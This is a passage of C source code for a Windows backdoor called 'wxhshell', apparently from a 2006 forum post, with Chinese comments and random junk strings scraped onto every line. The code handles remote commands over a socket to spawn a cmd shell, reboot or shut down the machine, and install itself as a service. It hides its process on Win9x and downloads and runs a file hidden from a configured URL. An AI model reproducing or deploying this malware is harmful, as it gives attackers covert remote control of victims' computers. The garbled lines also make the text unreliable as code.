    break; L5CnPnF  
  } BL%3[JQ  
  // 安装 kRH D{6mol  
  case 'i': { bnV)f<  
    if(Install()) TJuS)AZ C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /mwDVP<z /  
    else S5~(3I )v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GqgJ]m  
    break; e' |c59E  
    } a&[>kO  
  // 卸载 CS0q#?  
  case 'r': { jRxzZt4  
    if(Uninstall()) 0UQ DB5u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m`jGBSlw_  
    else l I2UpfkBP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l>)+HoD  
    break; %m$t'?  
    } Ad4-aWH  
  // 显示 wxhshell 所在路径 |WW'qg]Uu  
  case 'p': { OOYdrv,  
    char svExeFile[MAX_PATH]; 4 &0MB>m  
    strcpy(svExeFile,"\n\r"); ,,-j5Y  
      strcat(svExeFile,ExeFile); M->#WGl\B  
        send(wsh,svExeFile,strlen(svExeFile),0); f|2QI ~R  
    break; ,.&D{ $1W  
    } 3w! NTvp  
  // 重启 z'0 =3  
  case 'b': { mOFp!(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2t7=GA+j  
    if(Boot(REBOOT)) [ * !0DW`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D c]J3r  
    else { NC|VZwQtm  
    closesocket(wsh); <g, 21(bc  
    ExitThread(0); <XzRRCYQ  
    } ='(;!3ZH  
    break; NSQ)lSW,;  
    } M* dou_Q  
  // 关机 FQcm =d_s  
  case 'd': { Apkb!"}>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~-~iCIaTb  
    if(Boot(SHUTDOWN)) CC]q\%y-_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !@> :k3DC&  
    else { ,Uy~O(F t  
    closesocket(wsh); Po.izE!C  
    ExitThread(0); zhU^~4F  
    } .G|U#%"6x  
    break; o^u}(wZ{  
    } 4hUUQ;xj  
  // 获取shell Nl{on"il  
  case 's': { (R!.=95@  
    CmdShell(wsh); )F6p+i="  
    closesocket(wsh); cN)noGkp  
    ExitThread(0); 7s;*vd>  
    break; $-gRD|oY  
  } iF1zLI<A  
  // 退出 RMAbu*D0  
  case 'x': { oB+@05m8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]Y f8  
    CloseIt(wsh); pH0MVu(W  
    break; epP_~TU  
    } E,[v%Xw   
  // 离开 D~,i I7ac  
  case 'q': { TH+TcYqO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W;8}`k  
    closesocket(wsh); s_6Iz^]I  
    WSACleanup(); z{qn|#}  
    exit(1); Hlj3z3  
    break; M2nZ,I=l  
        } ; $UB@)7%  
  } qx}*L'xB  
  } oSP^ .BJ$  
t0)hd X  
  // 提示信息 mm N $\2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^1XnnQa  
} C3; d.KlV  
  } R#/0}+-M  
&y~GTEP  
  return; p0HcuB)Y  
} # twl  
r4 ;nkx  
// shell模块句柄 "=0JYh)%_  
int CmdShell(SOCKET sock) !XY}\zKq  
{ J#G\7'?{  
STARTUPINFO si; x%RE3J-  
ZeroMemory(&si,sizeof(si)); M5+K[Ir/y9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  j g_;pn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QB7^8O!<  
PROCESS_INFORMATION ProcessInfo; h'A #Yp0,  
char cmdline[]="cmd"; WQHlf 0]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m_UzmWF  
  return 0; SuA`F|7?P  
} Gdlx0i  
N'8}5Kx5  
// 自身启动模式 I0sw/,J/Z  
int StartFromService(void) 8FBXdk?A  
{ gR k+KGKn<  
typedef struct _"qX6Jc  
{ , ins/-3  
  DWORD ExitStatus; h8HA^><Xr  
  DWORD PebBaseAddress; E\~!E20^  
  DWORD AffinityMask; Q_A?p$%;L  
  DWORD BasePriority; It8@Cp.dU  
  ULONG UniqueProcessId; <Kq!)) J'  
  ULONG InheritedFromUniqueProcessId; -)E6{  
}   PROCESS_BASIC_INFORMATION; +Z/aG k;  
L%4Do*V&  
PROCNTQSIP NtQueryInformationProcess; Mj:=$}rs^  
{c=H#- A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &fwb?Vn4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >\ PNKpn{  
y!kM#DC^  
  HANDLE             hProcess; |z.Ov&d4)(  
  PROCESS_BASIC_INFORMATION pbi; zA&]#mc  
m H&WoL<K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h?&S*)1  
  if(NULL == hInst ) return 0; ],Y+|uX->  
uh~,>~a|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $:*/^)L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *iujJ i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OyTp^W`&  
<{A|Xs  
  if (!NtQueryInformationProcess) return 0; UC?i>HsJrX  
gK- $y9]~+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YnX6U 1/^  
  if(!hProcess) return 0; I#](mRJ6  
gz`P~7-w:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'U4@Sax,  
G+jcR; s  
  CloseHandle(hProcess); yA-UXKT  
i>AKXJ+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RhumNP<M  
if(hProcess==NULL) return 0; Ec|5'Kz]  
r`d.Wy Zj  
HMODULE hMod; OeY+Yt0  
char procName[255]; Z~ {[YsG  
unsigned long cbNeeded; R>`TV(W`9  
r!O4]j_3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OEj%cB!  
7a'@NgiGg  
  CloseHandle(hProcess); m*H6\on:  
(khMjFOg  
if(strstr(procName,"services")) return 1; // 以服务启动 {#uf#J|  
5\P3JoH:Yg  
  return 0; // 注册表启动 y ;T=u(}  
} d i#:KW  
NFlrr*=t>  
// 主模块 atjrn:X  
int StartWxhshell(LPSTR lpCmdLine) )\0LxsZ  
{ tU(vt0~b  
  SOCKET wsl; EyPF'|Qtn  
BOOL val=TRUE; Z<6Fq*I  
  int port=0; e(sV4Z~  
  struct sockaddr_in door; ;PG,0R`Z;  
xouy|Nn'  
  if(wscfg.ws_autoins) Install(); <LOas$  
 9/R<,  
port=atoi(lpCmdLine); }TAHVcX*p  
naWW i]9  
if(port<=0) port=wscfg.ws_port; >-<7 r?~  
9_\1cSk'  
  WSADATA data; >&2n\HR\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %^66(n)  
9Y-6e0B:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RF.8zea{O`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "ku ?A^f  
  door.sin_family = AF_INET; >Y[nU~w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'Gds?o8  
  door.sin_port = htons(port); XKT2u!Lx  
L# NW<T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X |X~|&j  
closesocket(wsl); vd!|k5t[d  
return 1; $Xr9<)?,  
} z9[BQ(9t  
4?9cyv4H  
  if(listen(wsl,2) == INVALID_SOCKET) { 4+_r0  
closesocket(wsl); }@S''AA\  
return 1; ~V<62"G  
} G9i?yd4n=B  
  Wxhshell(wsl); (3M7RpsL@  
  WSACleanup(); E;C=V2#>[  
/J0ctJ2k  
return 0; Fl&Z}&5p  
6N.+  
} ti^msC8e  
\LZVazXD  
// 以NT服务方式启动 ^zVBS7`J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .|9o`mF7  
{ !]z6?kUK  
DWORD   status = 0; L;s,xV  
  DWORD   specificError = 0xfffffff; {!rpE7P-  
vx8-~Oq{|;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v22ZwP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p[lciWEW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V57tn6 >b  
  serviceStatus.dwWin32ExitCode     = 0; fA>FU/r  
  serviceStatus.dwServiceSpecificExitCode = 0; .kkrU  
  serviceStatus.dwCheckPoint       = 0; KQ(7%W  
  serviceStatus.dwWaitHint       = 0; 1P+Te,I  
' Zmslijf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z^r  
  if (hServiceStatusHandle==0) return; ~}fQ.F*7R  
@$(@64r  
status = GetLastError(); 8h| 9;%  
  if (status!=NO_ERROR) O'} %Bjl  
{ C7lBK<gQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %1oG<s  
    serviceStatus.dwCheckPoint       = 0; $9Yk]~  
    serviceStatus.dwWaitHint       = 0; 17{$D ,P  
    serviceStatus.dwWin32ExitCode     = status; 4(FEfde=  
    serviceStatus.dwServiceSpecificExitCode = specificError; jvfQG:F }  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QL4BD93v  
    return; #b?)fqRJL  
  } jsrIZbN  
RY]Vo8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;_vo2zl1  
  serviceStatus.dwCheckPoint       = 0; 7v^V]&&s  
  serviceStatus.dwWaitHint       = 0; ~)\E&c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4q7hL  
} nm597WeZp  
8hx 3pvmk  
// 处理NT服务事件,比如:启动、停止 E)=X8y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [nnX,;  
{ j[Xc i<m  
switch(fdwControl) Y]R;>E5o|  
{ 3l8k O  
case SERVICE_CONTROL_STOP: :>'4@{'   
  serviceStatus.dwWin32ExitCode = 0; {a `#O9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {v>orP?  
  serviceStatus.dwCheckPoint   = 0; D7"RZF\)  
  serviceStatus.dwWaitHint     = 0; H tu}M8/4  
  { oTqv$IzqP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )KPQ8y!d  
  } Q7-d]xJ^  
  return; x.OCE`  
case SERVICE_CONTROL_PAUSE: t$W~X~//  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R%Y#vUmBV{  
  break; ;.<0lnV  
case SERVICE_CONTROL_CONTINUE: aJi0!6oy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yxt `  
  break; CkJ\v%JAW  
case SERVICE_CONTROL_INTERROGATE: @3:oo /;  
  break; A!&hjV`  
}; OAhCW*B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bq<DW/  
} >x$.mXX{  
f*}H4H EO  
// 标准应用程序主函数 7sci&!.2`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,`ZIW  
{ +bbhm0f  
i!jR>+  
// 获取操作系统版本 lrXi *u]  
OsIsNt=GetOsVer(); .^%!X!r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _Bh ^<D-  
CQ+WBTiC  
  // 从命令行安装 *75?%l  
  if(strpbrk(lpCmdLine,"iI")) Install(); (t\ F>A  
gVs8W3GW  
  // 下载执行文件 g}\Yl.  
if(wscfg.ws_downexe) { oL2 a:\7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '&.QW$B\B_  
  WinExec(wscfg.ws_filenam,SW_HIDE); s$s]D\N  
} e viv,  
.jfkOt?2  
if(!OsIsNt) { _ IqUp Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 B.-1wZl  
HideProc(); i!!1^DMrw  
StartWxhshell(lpCmdLine); Nd"4*l;  
} cF7efs8u  
else lQolE P.pc  
  if(StartFromService()) zu~E}  
  // 以服务方式启动 LS=HX~5C  
  StartServiceCtrlDispatcher(DispatchTable); 'L"dM9#>  
else )fo9Qwe  
  // 普通方式启动 &u_s*  
  StartWxhshell(lpCmdLine); UaQR0,#0y  
:i4>&4j  
return 0; h* to%N  
}
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只看该作者 1 发表于: 2006-10-10
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